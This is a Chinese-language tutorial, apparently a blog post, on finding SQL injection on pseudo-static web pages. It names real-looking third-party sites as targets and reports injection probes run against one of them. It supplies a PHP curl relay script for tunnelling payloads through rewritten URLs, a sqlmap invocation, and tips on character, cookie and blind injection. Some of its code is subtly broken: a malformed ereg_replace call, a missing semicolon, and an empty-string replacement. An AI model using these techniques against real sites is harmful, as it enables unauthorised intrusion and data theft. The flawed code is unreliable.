Test1:
如果页面是静态的,或者输入and 1=1,and 1=2 没反应该怎么继续判断是注入呢?
00x1怎么判断是不是伪静态
静态?首先要分析是不是伪静态,判断URL后面参数的结构,比如说有一些是这样的的。
比如说这个URL:http://zcb.sxjgjt.com.cn/index.php/Index.htm
先不说这个站点的前面的index.php 。假设我们已经知道脚本类型我们可以去掉后面的html
返回的页面还是一样的。尝试下and 1=1 和and 1=2,返回的页面分别如下。
这样就算是绕过了伪静态进行注入了。省下的sql语句不多测试。
当然伪静态不只只是这种url形式的,还有比如这个的:http://www.eroshifi.com/page-16.html
去掉html是不行的,要转化成xxx.php?id=16这种形式。
当然转化失败可能是参数错了,或者是页面静态化,而非伪静态。
还有类似这种形式的:https://zh.scribd.com/document/265644526/www-lbbyj-com-index-php-main-page-page-id-1
00x2 伪静态的实现方法
伪静态实现的方法有两种,一种是PHP伪静态实现方法一(利用Apache 服务器的功能)
首先在apache 开启mod_rewrite.so,AllowOverride None 这里有两处替换为 AllowOverride All
加载了这个模块就要新建一个.htaccess文件对apache进行了配置。
<IFMODULE mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^news_(.*).html$ news.php?id=$1[L]
</IFMODULE>
以上这段伪代码的含义是碰到news.php?id=x 这个形式会变成,news_x.html这个形式。
我们写一个简单的news.php来接收get传过来的参数。
<?php
$get= $_GET['id'];
echo$get;
?>
这样我们这个url访问的其实是news.php?id=1
PHP伪静态实现方法二(编码实现)
如此就是实现简单的伪静态。
function mod_rewrite(){
global $_GET;
$nav = $_SERVER["REQUEST_URI"];
$script_name =$_SERVER["SCRIPT_NAME"]
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1);
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html
$vars=explode("/",$nav);
print_r($vars);
for($i=0;$i<count($vars);$i+=2)
{
$_GET[$vars[$i]] = $vars[$i+1];
}
return $_GET;
}
00x3如何绕过呢?
那么绕过的话我们可以写一个脚本:
<?php
set_time_limit(10);
$id=$_GET["id"];
$id=str_replace("","%20",$id);
$id=str_replace("=","%3D",$id);
$url="http://www.xxx.com/index.php/test/id/$id.html";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"$url");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出
curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出
$output=curl_exec($ch);
curl_close($ch);
print_r($output);
?>
然后在本地搭建一个wamp环境ok就可以借助自动化的工具跑了。
Sqlmap中该怎么绕过呢
哪里存在注入就加上 * 号 ./sqlmap.py -u “http://www.xxxx.com/id/1*.html″
00x4如果不是伪静态又没有报错
PS:Index.php?id=1
输入and 1=1,and 1=2没反应或者是正常页面不能说没有sql注入漏洞。
若此网站是字符型注入,则你提交的语句应该是' and '1'='1 此外网站还有可能存在搜索型注入,cookie 注入或后台注入等等.若你没一一尝试则不能确定此网站一定没有注入漏洞。
还有一种可能是盲注。代码层面的原因就是没有用mysql_error(); 这个函数,所有没有报错。